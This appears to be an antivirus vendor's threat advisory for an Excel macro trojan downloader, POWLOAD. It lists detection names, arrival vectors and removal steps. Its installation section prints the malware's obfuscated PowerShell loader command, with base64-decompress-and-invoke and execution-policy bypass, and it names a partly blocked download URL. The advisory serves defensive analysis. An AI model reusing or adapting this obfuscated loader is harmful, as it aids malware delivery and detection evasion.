Trojan.X97M.POWLOAD.SMK
VBA/Dldr.Agent.hzazi (ANTIVIR); VBA/TrojanDownloader.Agent.MUV trojan (NOD32)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
112,131 bytes
XLS
No
20 Feb 2019
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- CmD /c "sET psA=(.("{3}{2}{1}{0}"-f'CT','bJE','-o','NeW') ("{1}{5}{6}{7}{2}{0}{3}{4}" -f'DefLaT','sYs','on.','E','stream','tem','.iO.comP','rEssi')( [iO.MeMoRYstrEAM][ConveRT]::"FROmBA`sE64`s`T`RinG"({Base-64 encoded}) ,[iO.comPrESsIOn.ComprESsIoNmODe]::"dECOmp`Re`SS" )^|^&("{0}{1}"-f'fOrEaC','H'){ ^&("{0}{1}{2}" -f'NeW-','ob','JECT') ("{2}{3}{1}{4}{0}" -f'R','strEAMre','Io','.','AdE')( ${_} , [SySTEM.TexT.EnCoDIng]::"aSc`II") }^| ^&("{0}{2}{1}" -f'FoRE','H','ac') {${_}."rea`dTOe`ND"( ) } ) ^| . ( ${psH`Ome}[21]+\${P`sHoME}[30]+'X')&&powerSHElL -w 1 -NOPrOfil -nOnINtera -Nol -eXeC bYPAsS set-ItEm vaRiAblE:HQt ([TYPe]( \"{1}{0}{2}\" -f'vI','EN','RoNmeNt' ) ) ; ( ^& (\"{1}{0}{2}\" -f 'aBl','VaRi','e' ) ( \"{0}{3}{4}{1}{2}\"-f 'E','oNco','nTExT','Xe','cuTi' ) ).\"vA`LUE\".\"iN`VoKecO`mMaND\".\"inV`O`kESCR`ipT\"( ( $hQT::( \"{3}{5}{1}{2}{0}{4}\"-f'ENTVar','v','IROnM','Ge','IablE','TEn').Invoke( 'PSa',( \"{2}{1}{0}\"-f'S','cES','Pro' ) )) )"
Other Details
This Trojan connects to the following possibly malicious URL:
- https://{BLOCKED}on.com/StreamGame.rar
SOLUTION
9.850
14.844.08
01 Mar 2019
14.845.00
02 Mar 2019
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Scan your computer with your Trend Micro product to delete files detected as Trojan.X97M.POWLOAD.SMK. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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